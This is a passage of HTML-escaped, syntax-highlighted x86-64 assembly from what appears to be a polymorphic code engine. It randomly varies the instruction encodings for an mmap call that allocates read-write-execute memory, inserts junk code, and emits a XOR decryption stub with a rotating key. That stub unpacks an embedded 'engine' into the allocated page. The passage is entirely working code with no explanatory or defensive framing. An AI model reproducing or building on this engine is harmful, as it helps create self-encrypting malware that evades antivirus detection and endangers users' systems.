    &lt;span class="c1"&gt;; mov rax,10; dec rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC8&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.mm_continue&lt;/span&gt;

&lt;span class="nl"&gt;.mmap_method_3:&lt;/span&gt;
    &lt;span class="c1"&gt;; mov rax,18; shr rax,1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xD1&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE8&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

&lt;span class="nl"&gt;.mm_continue:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;stub_trash&lt;/span&gt;

    &lt;span class="c1"&gt;; rdi setup&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.rdi_method_0&lt;/span&gt;

    &lt;span class="c1"&gt;; mov rdi,0&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.rdi_done&lt;/span&gt;

&lt;span class="nl"&gt;.rdi_method_0:&lt;/span&gt;
    &lt;span class="c1"&gt;; xor rdi,rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x31&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

&lt;span class="nl"&gt;.rdi_done:&lt;/span&gt;

    &lt;span class="c1"&gt;; mov rsi,4096&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC6&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov rdx,7 (rwx)&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC2&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov r10,0x22 (private|anon)&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x49&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC2&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x22&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov r8,-1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x49&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFFFFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov r9,0&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x4D&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x31&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC9&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; syscall&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0F&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x05&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate decryption stub&lt;/span&gt;
&lt;span class="nl"&gt;stub_decrypt:&lt;/span&gt;
    &lt;span class="c1"&gt;; mov rbx,rax (save mmap result)&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC3&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; calculate RIP-relative offset to embedded engine&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_sz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;jnz&lt;/span&gt; &lt;span class="nv"&gt;.usszz&lt;/span&gt;
    &lt;span class="c1"&gt;; fallback calculation&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;

&lt;span class="nl"&gt;.usszz:&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;                                &lt;span class="c1"&gt;; engine position&lt;/span&gt;

    &lt;span class="c1"&gt;; RIP-relative calculation&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;                                  &lt;span class="c1"&gt;; after LEA instruction&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="c1"&gt;; lea rsi,[rip+offset]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8D&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x35&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov rcx,engine_size&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;engine_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jnz&lt;/span&gt; &lt;span class="nv"&gt;.engine_sz&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;

&lt;span class="nl"&gt;.engine_sz:&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
    &lt;span class="nf"&gt;jbe&lt;/span&gt; &lt;span class="nv"&gt;.size_ok&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;

&lt;span class="nl"&gt;.size_ok:&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov rdx,stub_key&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xBA&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosq&lt;/span&gt;

    &lt;span class="c1"&gt;; decryption loop&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="c1"&gt;; test rcx,rcx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x85&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC9&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; jz done&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x74&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; xor [rsi],dl&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x16&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; rol rdx,7&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC2&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; inc rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC6&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; dec rcx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC9&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; jmp loop&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEB&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;neg&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; copy to allocated memory&lt;/span&gt;
    &lt;span class="c1"&gt;; mov rdi,rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; calculate engine position&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
